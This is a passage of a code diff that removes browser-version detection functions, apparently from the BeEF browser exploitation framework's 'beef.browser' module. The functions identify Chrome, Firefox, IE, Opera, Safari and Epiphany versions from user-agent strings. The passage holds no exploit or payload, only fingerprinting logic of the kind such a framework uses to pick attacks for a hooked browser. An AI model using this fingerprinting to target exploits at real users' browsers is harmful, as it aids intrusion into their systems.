- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 49) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 49.
- * @example: beef.browser.isC49iOS()
- */
- isC49iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 49) ? true : false);
- },
- /**
- * Returns true if Chrome 50.
- * @example: beef.browser.isC50()
- */
- isC50: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 50) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 50.
- * @example: beef.browser.isC50iOS()
- */
- isC50iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 50) ? true : false);
- },
- /**
- * Returns true if Chrome 51.
- * @example: beef.browser.isC51()
- */
- isC51: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 51) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 51.
- * @example: beef.browser.isC51iOS()
- */
- isC51iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 51) ? true : false);
- },
- /**
- * Returns true if Chrome 52.
- * @example: beef.browser.isC52()
- */
- isC52: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 52) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 52.
- * @example: beef.browser.isC52iOS()
- */
- isC52iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 52) ? true : false);
- },
- /**
- * Returns true if Chrome 53.
- * @example: beef.browser.isC53()
- */
- isC53: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 53) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 53.
- * @example: beef.browser.isC53iOS()
- */
- isC53iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 53) ? true : false);
- },
- /**
- * Returns true if Chrome 54.
- * @example: beef.browser.isC54()
- */
- isC54: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 54) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 54.
- * @example: beef.browser.isC54iOS()
- */
- isC54iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 54) ? true : false);
- },
- /**
- * Returns true if Chrome 55.
- * @example: beef.browser.isC55()
- */
- isC55: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 55) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 55.
- * @example: beef.browser.isC55iOS()
- */
- isC55iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 55) ? true : false);
- },
- /**
- * Returns true if Chrome 56.
- * @example: beef.browser.isC56()
- */
- isC56: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 56) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 56.
- * @example: beef.browser.isC56iOS()
- */
- isC56iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 56) ? true : false);
- },
- /**
- * Returns true if Chrome 57.
- * @example: beef.browser.isC57()
- */
- isC57: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 57) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 57.
- * @example: beef.browser.isC57iOS()
- */
- isC57iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 57) ? true : false);
- },
- /**
- * Returns true if Chrome 58.
- * @example: beef.browser.isC58()
- */
- isC58: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 58) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 58.
- * @example: beef.browser.isC58iOS()
- */
- isC58iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 58) ? true : false);
- },
- isC63iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 63) ? true : false);
- },
- /**
- * Returns true if Chrome.
- * @example: beef.browser.isC()
- */
- isC: function () {
- return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC63iOS();
- },
- /**
- * Returns true if Opera 9.50 through 9.52.
- * @example: beef.browser.isO9_52()
- */
- isO9_52: function () {
- return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
- },
- /**
- * Returns true if Opera 9.60 through 9.64.
- * @example: beef.browser.isO9_60()
- */
- isO9_60: function () {
- return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
- },
- /**
- * Returns true if Opera 10.xx.
- * @example: beef.browser.isO10()
- */
- isO10: function () {
- return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
- },
- /**
- * Returns true if Opera 11.xx.
- * @example: beef.browser.isO11()
- */
- isO11: function () {
- return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
- },
- /**
- * Returns true if Opera 12.xx.
- * @example: beef.browser.isO12()
- */
- isO12: function () {
- return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
- },
- /**
- * Returns true if Opera.
- * @example: beef.browser.isO()
- */
- isO: function () {
- return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
- },
- /**
- * Returns a hash of string keys representing a given capability
- * @example: beef.browser.capabilities()["navigator.plugins"]
- */
- capabilities: function () {
- var out = {};
- var type = this.type();
- out["navigator.plugins"] = (type.IE11 || !type.IE);
- return out;
- },
- /**
- * Returns the type of browser being used.
- * @example: beef.browser.type().IE6
- * @example: beef.browser.type().FF
- * @example: beef.browser.type().O
- */
- type: function () {
- return {
- C5: this.isC5(), // Chrome 5
- C6: this.isC6(), // Chrome 6
- C7: this.isC7(), // Chrome 7
- C8: this.isC8(), // Chrome 8
- C9: this.isC9(), // Chrome 9
- C10: this.isC10(), // Chrome 10
- C11: this.isC11(), // Chrome 11
- C12: this.isC12(), // Chrome 12
- C13: this.isC13(), // Chrome 13
- C14: this.isC14(), // Chrome 14
- C15: this.isC15(), // Chrome 15
- C16: this.isC16(), // Chrome 16
- C17: this.isC17(), // Chrome 17
- C18: this.isC18(), // Chrome 18
- C19: this.isC19(), // Chrome 19
- C19iOS: this.isC19iOS(), // Chrome 19 on iOS
- C20: this.isC20(), // Chrome 20
- C20iOS: this.isC20iOS(), // Chrome 20 on iOS
- C21: this.isC21(), // Chrome 21
- C21iOS: this.isC21iOS(), // Chrome 21 on iOS
- C22: this.isC22(), // Chrome 22
- C22iOS: this.isC22iOS(), // Chrome 22 on iOS
- C23: this.isC23(), // Chrome 23
- C23iOS: this.isC23iOS(), // Chrome 23 on iOS
- C24: this.isC24(), // Chrome 24
- C24iOS: this.isC24iOS(), // Chrome 24 on iOS
- C25: this.isC25(), // Chrome 25
- C25iOS: this.isC25iOS(), // Chrome 25 on iOS
- C26: this.isC26(), // Chrome 26
- C26iOS: this.isC26iOS(), // Chrome 26 on iOS
- C27: this.isC27(), // Chrome 27
- C27iOS: this.isC27iOS(), // Chrome 27 on iOS
- C28: this.isC28(), // Chrome 28
- C28iOS: this.isC28iOS(), // Chrome 28 on iOS
- C29: this.isC29(), // Chrome 29
- C29iOS: this.isC29iOS(), // Chrome 29 on iOS
- C30: this.isC30(), // Chrome 30
- C30iOS: this.isC30iOS(), // Chrome 30 on iOS
- C31: this.isC31(), // Chrome 31
- C31iOS: this.isC31iOS(), // Chrome 31 on iOS
- C32: this.isC32(), // Chrome 32
- C32iOS: this.isC32iOS(), // Chrome 32 on iOS
- C33: this.isC33(), // Chrome 33
- C33iOS: this.isC33iOS(), // Chrome 33 on iOS
- C34: this.isC34(), // Chrome 34
- C34iOS: this.isC34iOS(), // Chrome 34 on iOS
- C35: this.isC35(), // Chrome 35
- C35iOS: this.isC35iOS(), // Chrome 35 on iOS
- C36: this.isC36(), // Chrome 36
- C36iOS: this.isC36iOS(), // Chrome 36 on iOS
- C37: this.isC37(), // Chrome 37
- C37iOS: this.isC37iOS(), // Chrome 37 on iOS
- C38: this.isC38(), // Chrome 38
- C38iOS: this.isC38iOS(), // Chrome 38 on iOS
- C39: this.isC39(), // Chrome 39
- C39iOS: this.isC39iOS(), // Chrome 39 on iOS
- C40: this.isC40(), // Chrome 40
- C40iOS: this.isC40iOS(), // Chrome 40 on iOS
- C41: this.isC41(), // Chrome 41
- C41iOS: this.isC41iOS(), // Chrome 41 on iOS
- C42: this.isC42(), // Chrome 42
- C42iOS: this.isC42iOS(), // Chrome 42 on iOS
- C43: this.isC43(), // Chrome 43
- C43iOS: this.isC43iOS(), // Chrome 43 on iOS
- C44: this.isC44(), // Chrome 44
- C44iOS: this.isC44iOS(), // Chrome 44 on iOS
- C45: this.isC45(), // Chrome 45
- C45iOS: this.isC45iOS(), // Chrome 45 on iOS
- C46: this.isC46(), // Chrome 46
- C46iOS: this.isC46iOS(), // Chrome 46 on iOS
- C47: this.isC47(), // Chrome 47
- C47iOS: this.isC47iOS(), // Chrome 47 on iOS
- C48: this.isC48(), // Chrome 48
- C48iOS: this.isC48iOS(), // Chrome 48 on iOS
- C49: this.isC49(), // Chrome 49
- C49iOS: this.isC49iOS(), // Chrome 49 on iOS
- C50: this.isC50(), // Chrome 50
- C50iOS: this.isC50iOS(), // Chrome 50 on iOS
- C51: this.isC51(), // Chrome 51
- C51iOS: this.isC51iOS(), // Chrome 51 on iOS
- C52: this.isC52(), // Chrome 52
- C52iOS: this.isC52iOS(), // Chrome 52 on iOS
- C53: this.isC53(), // Chrome 53
- C53iOS: this.isC53iOS(), // Chrome 53 on iOS
- C54: this.isC54(), // Chrome 54
- C54iOS: this.isC54iOS(), // Chrome 54 on iOS
- C55: this.isC55(), // Chrome 55
- C55iOS: this.isC55iOS(), // Chrome 55 on iOS
- C56: this.isC56(), // Chrome 56
- C56iOS: this.isC56iOS(), // Chrome 56 on iOS
- C57: this.isC57(), // Chrome 57
- C57iOS: this.isC57iOS(), // Chrome 57 on iOS
- C58: this.isC58(), // Chrome 58
- C58iOS: this.isC58iOS(), // Chrome 58 on iOS
- C63iOS: this.isC63iOS(),
- C: this.isC(), // Chrome any version
- FF2: this.isFF2(), // Firefox 2
- FF3: this.isFF3(), // Firefox 3
- FF3_5: this.isFF3_5(), // Firefox 3.5
- FF3_6: this.isFF3_6(), // Firefox 3.6
- FF4: this.isFF4(), // Firefox 4
- FF5: this.isFF5(), // Firefox 5
- FF6: this.isFF6(), // Firefox 6
- FF7: this.isFF7(), // Firefox 7
- FF8: this.isFF8(), // Firefox 8
- FF9: this.isFF9(), // Firefox 9
- FF10: this.isFF10(), // Firefox 10
- FF11: this.isFF11(), // Firefox 11
- FF12: this.isFF12(), // Firefox 12
- FF13: this.isFF13(), // Firefox 13
- FF14: this.isFF14(), // Firefox 14
- FF15: this.isFF15(), // Firefox 15
- FF16: this.isFF16(), // Firefox 16
- FF17: this.isFF17(), // Firefox 17
- FF18: this.isFF18(), // Firefox 18
- FF19: this.isFF19(), // Firefox 19
- FF20: this.isFF20(), // Firefox 20
- FF21: this.isFF21(), // Firefox 21
- FF22: this.isFF22(), // Firefox 22
- FF23: this.isFF23(), // Firefox 23
- FF24: this.isFF24(), // Firefox 24
- FF25: this.isFF25(), // Firefox 25
- FF26: this.isFF26(), // Firefox 26
- FF27: this.isFF27(), // Firefox 27
- FF28: this.isFF28(), // Firefox 28
- FF29: this.isFF29(), // Firefox 29
- FF30: this.isFF30(), // Firefox 30
- FF31: this.isFF31(), // Firefox 31
- FF32: this.isFF32(), // Firefox 32
- FF33: this.isFF33(), // Firefox 33
- FF34: this.isFF34(), // Firefox 34
- FF35: this.isFF35(), // Firefox 35
- FF36: this.isFF36(), // Firefox 36
- FF37: this.isFF37(), // Firefox 37
- FF38: this.isFF38(), // Firefox 38
- FF39: this.isFF39(), // Firefox 39
- FF40: this.isFF40(), // Firefox 40
- FF41: this.isFF41(), // Firefox 41
- FF42: this.isFF42(), // Firefox 42
- FF43: this.isFF43(), // Firefox 43
- FF44: this.isFF44(), // Firefox 44
- FF45: this.isFF45(), // Firefox 45
- FF46: this.isFF46(), // Firefox 46
- FF47: this.isFF47(), // Firefox 47
- FF48: this.isFF48(), // Firefox 48
- FF49: this.isFF49(), // Firefox 49
- FF50: this.isFF50(), // Firefox 50
- FF51: this.isFF51(), // Firefox 51
- FF52: this.isFF52(), // Firefox 52
- FF53: this.isFF53(), // Firefox 53
- FF54: this.isFF54(), // Firefox 54
- FF55: this.isFF55(), // Firefox 55
- FF56: this.isFF56(), // Firefox 56
- FF57: this.isFF57(), // Firefox 57
- FF58: this.isFF58(), // Firefox 58
- FF: this.isFF(), // Firefox any version
- IE6: this.isIE6(), // Internet Explorer 6
- IE7: this.isIE7(), // Internet Explorer 7
- IE8: this.isIE8(), // Internet Explorer 8
- IE9: this.isIE9(), // Internet Explorer 9
- IE10: this.isIE10(), // Internet Explorer 10
- IE11: this.isIE11(), // Internet Explorer 11
- IE: this.isIE(), // Internet Explorer any version
- O9_52: this.isO9_52(), // Opera 9.50 through 9.52
- O9_60: this.isO9_60(), // Opera 9.60 through 9.64
- O10: this.isO10(), // Opera 10.xx
- O11: this.isO11(), // Opera 11.xx
- O12: this.isO12(), // Opera 12.xx
- O: this.isO(), // Opera any version
- EP: this.isEpi(), // Epiphany any version
- S4: this.isS4(), // Safari 4.xx
- S5: this.isS5(), // Safari 5.xx
- S6: this.isS6(), // Safari 6.x
- S7: this.isS7(), // Safari 7.x
- S8: this.isS8(), // Safari 8.x
- S: this.isS() // Safari any version
- }
- },
- /**
- * Returns the major version of the browser being used.
- * @return: {String} version number || 'UNKNOWN'.
- *
- * @example: beef.browser.getBrowserVersion()
- */
- getBrowserVersion: function () {
- if (this.isC5()) {
- return '5'
- }
- ; // Chrome 5
- if (this.isC6()) {
- return '6'
- }
- ; // Chrome 6
- if (this.isC7()) {
- return '7'
- }
- ; // Chrome 7
- if (this.isC8()) {
- return '8'
- }
- ; // Chrome 8
- if (this.isC9()) {
- return '9'
- }
- ; // Chrome 9
- if (this.isC10()) {
- return '10'
- }
- ; // Chrome 10
- if (this.isC11()) {
- return '11'
- }
- ; // Chrome 11
- if (this.isC12()) {
- return '12'
- }
- ; // Chrome 12
- if (this.isC13()) {
- return '13'
- }
- ; // Chrome 13
- if (this.isC14()) {
- return '14'
- }
- ; // Chrome 14
- if (this.isC15()) {
- return '15'
- }
- ; // Chrome 15
- if (this.isC16()) {
- return '16'
- }
- ; // Chrome 16
- if (this.isC17()) {
- return '17'
- }
- ; // Chrome 17
- if (this.isC18()) {
- return '18'
- }
- ; // Chrome 18
- if (this.isC19()) {
- return '19'
- }
- ; // Chrome 19
- if (this.isC19iOS()) {
- return '19'
- }
- ; // Chrome 19 for iOS
- if (this.isC20()) {
- return '20'
- }
- ; // Chrome 20
- if (this.isC20iOS()) {
- return '20'
- }
- ; // Chrome 20 for iOS
- if (this.isC21()) {
- return '21'
- }
- ; // Chrome 21
- if (this.isC21iOS()) {
- return '21'
- }
- ; // Chrome 21 for iOS
- if (this.isC22()) {
- return '22'
- }
- ; // Chrome 22
- if (this.isC22iOS()) {
- return '22'
- }
- ; // Chrome 22 for iOS
- if (this.isC23()) {
- return '23'
- }
- ; // Chrome 23
- if (this.isC23iOS()) {
- return '23'
- }
- ; // Chrome 23 for iOS
- if (this.isC24()) {
- return '24'
- }
- ; // Chrome 24
- if (this.isC24iOS()) {
- return '24'
- }
- ; // Chrome 24 for iOS
- if (this.isC25()) {
- return '25'
- }
- ; // Chrome 25
- if (this.isC25iOS()) {
- return '25'
- }
- ; // Chrome 25 for iOS
- if (this.isC26()) {
- return '26'
- }
- ; // Chrome 26
- if (this.isC26iOS()) {
- return '26'
- }
- ; // Chrome 26 for iOS
- if (this.isC27()) {
- return '27'
- }
- ; // Chrome 27
- if (this.isC27iOS()) {
- return '27'
- }
- ; // Chrome 27 for iOS
- if (this.isC28()) {
- return '28'
- }
- ; // Chrome 28
- if (this.isC28iOS()) {
- return '28'
- }
- ; // Chrome 28 for iOS
- if (this.isC29()) {
- return '29'
- }
- ; // Chrome 29
- if (this.isC29iOS()) {
- return '29'
- }
- ; // Chrome 29 for iOS
- if (this.isC30()) {
- return '30'
- }
- ; // Chrome 30
- if (this.isC30iOS()) {
- return '30'
- }
- ; // Chrome 30 for iOS
- if (this.isC31()) {
- return '31'
- }
- ; // Chrome 31
- if (this.isC31iOS()) {
- return '31'
- }
- ; // Chrome 31 for iOS
- if (this.isC32()) {
- return '32'
- }
- ; // Chrome 32
- if (this.isC32iOS()) {
- return '32'
- }
- ; // Chrome 32 for iOS
- if (this.isC33()) {
- return '33'
- }
- ; // Chrome 33
- if (this.isC33iOS()) {
- return '33'
- }
- ; // Chrome 33 for iOS
- if (this.isC34()) {
- return '34'
- }
- ; // Chrome 34
- if (this.isC34iOS()) {
- return '34'
- }
- ; // Chrome 34 for iOS
- if (this.isC35()) {
- return '35'
- }
- ; // Chrome 35
- if (this.isC35iOS()) {
- return '35'
- }
- ; // Chrome 35 for iOS
- if (this.isC36()) {
- return '36'
- }
- ; // Chrome 36
- if (this.isC36iOS()) {
- return '36'
- }
- ; // Chrome 36 for iOS
- if (this.isC37()) {
- return '37'
- }
- ; // Chrome 37
- if (this.isC37iOS()) {
- return '37'
- }
- ; // Chrome 37 for iOS
- if (this.isC38()) {
- return '38'
- }
- ; // Chrome 38
- if (this.isC38iOS()) {
- return '38'
- }
- ; // Chrome 38 for iOS
- if (this.isC39()) {
- return '39'
- }
- ; // Chrome 39
- if (this.isC39iOS()) {
- return '39'
- }
- ; // Chrome 39 for iOS
- if (this.isC40()) {
- return '40'
- }
- ; // Chrome 40
- if (this.isC40iOS()) {
- return '40'
- }
- ; // Chrome 40 for iOS
- if (this.isC41()) {
- return '41'
- }
- ; // Chrome 41
- if (this.isC41iOS()) {
- return '41'
- }
- ; // Chrome 41 for iOS
- if (this.isC42()) {
- return '42'
- }
- ; // Chrome 42
- if (this.isC42iOS()) {
- return '42'
- }
- ; // Chrome 42 for iOS
- if (this.isC43()) {
- return '43'
- }
- ; // Chrome 43
- if (this.isC43iOS()) {
- return '43'
- }
- ; // Chrome 43 for iOS
- if (this.isC44()) {
- return '44'
- }
- ; // Chrome 44
- if (this.isC44iOS()) {
- return '44'
- }
- ; // Chrome 44 for iOS
- if (this.isC45()) {
- return '45'
- }
- ; // Chrome 45
- if (this.isC45iOS()) {
- return '45'
- }
- ; // Chrome 45 for iOS
- if (this.isC46()) {
- return '46'
- }
- ;// Chrome 46
- if (this.isC46iOS()) {
- return '46'
- }
- ; // Chrome 46 for iOS
- if (this.isC47()) {
- return '47'
- }
- ;// Chrome 47
- if (this.isC47iOS()) {
- return '47'
- }
- ; // Chrome 47 for iOS
- if (this.isC48()) {
- return '48'
- }
- ;// Chrome 48
- if (this.isC48iOS()) {
- return '48'
- }
- ; // Chrome 48 for iOS
- if (this.isC49()) {
- return '49'
- }
- ;// Chrome 49
- if (this.isC49iOS()) {
- return '49'
- }
- ; // Chrome 49 for iOS
- if (this.isC50()) {
- return '50'
- }
- ;// Chrome 50
- if (this.isC50iOS()) {
- return '50'
- }
- ; // Chrome 50 for iOS
- if (this.isC51()) {
- return '51'
- }
- ;// Chrome 51
- if (this.isC51iOS()) {
- return '51'
- }
- ; // Chrome 51 for iOS
- if (this.isC52()) {
- return '52'
- }
- ;// Chrome 52
- if (this.isC52iOS()) {
- return '52'
- }
- ; // Chrome 52 for iOS
- if (this.isC53()) {
- return '53'
- }
- ;// Chrome 53
- if (this.isC53iOS()) {
- return '53'
- }
- ; // Chrome 53 for iOS
- if (this.isC54()) {
- return '54'
- }
- ;// Chrome 54
- if (this.isC54iOS()) {
- return '54'
- }
- ; // Chrome 54 for iOS
- if (this.isC55()) {
- return '55'
- }
- ;// Chrome 55
- if (this.isC55iOS()) {
- return '55'
- }
- ; // Chrome 55 for iOS
- if (this.isC56()) {
- return '56'
- }
- ;// Chrome 56
- if (this.isC56iOS()) {
- return '56'
- }
- ; // Chrome 56 for iOS
- if (this.isC57()) {
- return '57'
- }
- ;// Chrome 57
- if (this.isC57iOS()) {
- return '57'
- }
- ; // Chrome 57 for iOS
- if (this.isC58()) {
- return '58'
- }
- ;// Chrome 58
- if (this.isC58iOS()) {
- return '58'
- }
- ; // Chrome 58 for iOS
- if (this.isFF2()) {
- return '2'
- }
- ; // Firefox 2
- if (this.isFF3()) {
- return '3'
- }
- ; // Firefox 3
- if (this.isFF3_5()) {
- return '3.5'
- }
- ; // Firefox 3.5
- if (this.isFF3_6()) {
- return '3.6'
- }
- ; // Firefox 3.6
- if (this.isFF4()) {
- return '4'
- }
- ; // Firefox 4
- if (this.isFF5()) {
- return '5'
- }
- ; // Firefox 5
- if (this.isFF6()) {
- return '6'
- }
- ; // Firefox 6
- if (this.isFF7()) {
- return '7'
- }
- ; // Firefox 7
- if (this.isFF8()) {
- return '8'
- }
- ; // Firefox 8
- if (this.isFF9()) {
- return '9'
- }
- ; // Firefox 9
- if (this.isFF10()) {
- return '10'
- }
- ; // Firefox 10
- if (this.isFF11()) {
- return '11'
- }
- ; // Firefox 11
- if (this.isFF12()) {
- return '12'
- }
- ; // Firefox 12
- if (this.isFF13()) {
- return '13'
- }
- ; // Firefox 13
- if (this.isFF14()) {
- return '14'
- }
- ; // Firefox 14
- if (this.isFF15()) {
- return '15'
- }
- ; // Firefox 15
- if (this.isFF16()) {
- return '16'
- }
- ; // Firefox 16
- if (this.isFF17()) {
- return '17'
- }
- ; // Firefox 17
- if (this.isFF18()) {
- return '18'
- }
- ; // Firefox 18
- if (this.isFF19()) {
- return '19'
- }
- ; // Firefox 19
- if (this.isFF20()) {
- return '20'
- }
- ; // Firefox 20
- if (this.isFF21()) {
- return '21'
- }
- ; // Firefox 21
- if (this.isFF22()) {
- return '22'
- }
- ; // Firefox 22
- if (this.isFF23()) {
- return '23'
- }
- ; // Firefox 23
- if (this.isFF24()) {
- return '24'
- }
- ; // Firefox 24
- if (this.isFF25()) {
- return '25'
- }
- ; // Firefox 25
- if (this.isFF26()) {
- return '26'
- }
- ; // Firefox 26
- if (this.isFF27()) {
- return '27'
- }
- ; // Firefox 27
- if (this.isFF28()) {
- return '28'
- }
- ; // Firefox 28
- if (this.isFF29()) {
- return '29'
- }
- ; // Firefox 29
- if (this.isFF30()) {
- return '30'
- }
- ; // Firefox 30
- if (this.isFF31()) {
- return '31'
- }
- ; // Firefox 31
- if (this.isFF32()) {
- return '32'
- }
- ; // Firefox 32
- if (this.isFF33()) {
- return '33'
- }
- ; // Firefox 33
- if (this.isFF34()) {
- return '34'
- }
- ; // Firefox 34
- if (this.isFF35()) {
- return '35'
- }
- ; // Firefox 35
- if (this.isFF36()) {
- return '36'
- }
- ; // Firefox 36
- if (this.isFF37()) {
- return '37'
- }
- ; // Firefox 37
- if (this.isFF38()) {
- return '38'
- }
- ; // Firefox 38
- if (this.isFF39()) {
- return '39'
- }
- ; // Firefox 39
- if (this.isFF40()) {
- return '40'
- }
- ; // Firefox 40
- if (this.isFF41()) {
- return '41'
- }
- ; // Firefox 41
- if (this.isFF42()) {
- return '42'
- }
- ; // Firefox 42
- if (this.isFF43()) {
- return '43'
- }
- ; // Firefox 43
- if (this.isFF44()) {
- return '44'
- }
- ; // Firefox 44
- if (this.isFF45()) {
- return '45'
- }
- ; // Firefox 45
- if (this.isFF46()) {
- return '46'
- }
- ; // Firefox 46
- if (this.isFF47()) {
- return '47'
- }
- ; // Firefox 47
- if (this.isFF48()) {
- return '48'
- }
- ; // Firefox 48
- if (this.isFF49()) {
- return '49'
- }
- ; // Firefox 49
- if (this.isFF50()) {
- return '50'
- }
- ; // Firefox 50
- if (this.isFF51()) {
- return '51'
- }
- ; // Firefox 51
- if (this.isFF52()) {
- return '52'
- }
- ; // Firefox 52
- if (this.isFF53()) {
- return '53'
- }
- ; // Firefox 53
- if (this.isFF54()) {
- return '54'
- }
- ; // Firefox 54
- if (this.isFF55()) {
- return '55'
- }
- ; // Firefox 55
- if (this.isFF56()) {
- return '56'
- }
- ; // Firefox 56
- if (this.isFF57()) {
- return '57'
- }
- ; // Firefox 57
- if (this.isFF58()) {
- return '58'
- }
- ; // Firefox 58
- if (this.isIE6()) {
- return '6'
- }
- ; // Internet Explorer 6
- if (this.isIE7()) {
- return '7'
- }
- ; // Internet Explorer 7
- if (this.isIE8()) {
- return '8'
- }
- ; // Internet Explorer 8
- if (this.isIE9()) {
- return '9'
- }
- ; // Internet Explorer 9
- if (this.isIE10()) {
- return '10'
- }
- ; // Internet Explorer 10
- if (this.isIE11()) {
- return '11'
- }
- ; // Internet Explorer 11
- if (this.isEdge()) {
- return '1'
- }
- ; // Microsoft Edge
- if (this.isEpi()) {
- // believe the UserAgent string for version info - until whenever
- var epiphanyRe = /Epiphany\/(\d+)/;
- var versionDetails = epiphanyRe.exec( beef.browser.getBrowserReportedName());
- if (versionDetails.length > 1) {
- return versionDetails[1];
- } else {
- return "UNKNOWN"; // returns from here or it may take Safari version details
- }
- }
- ; // Epiphany
- if (this.isS4()) {
- return '4'
- }
- ; // Safari 4
- if (this.isS5()) {
- return '5'
- }
- ; // Safari 5
- if (this.isS6()) {
- return '6'
- }
- ; // Safari 6
- if (this.isS7()) {
- return '7'
- }
- ; // Safari 7
- if (this.isS8()) {
- return '8'
- }
- ; // Safari 8
- if (this.isO9_52()) {
- return '9.5'
- }
- ; // Opera 9.5x
- if (this.isO9_60()) {
- return '9.6'
- }
- ; // Opera 9.6
- if (this.isO10()) {
- return '10'
- }
- ; // Opera 10.xx
- if (this.isO11()) {
- return '11'
- }
- ; // Opera 11.xx
- if (this.isO12()) {
- return '12'
- }
- ; // Opera 12.xx
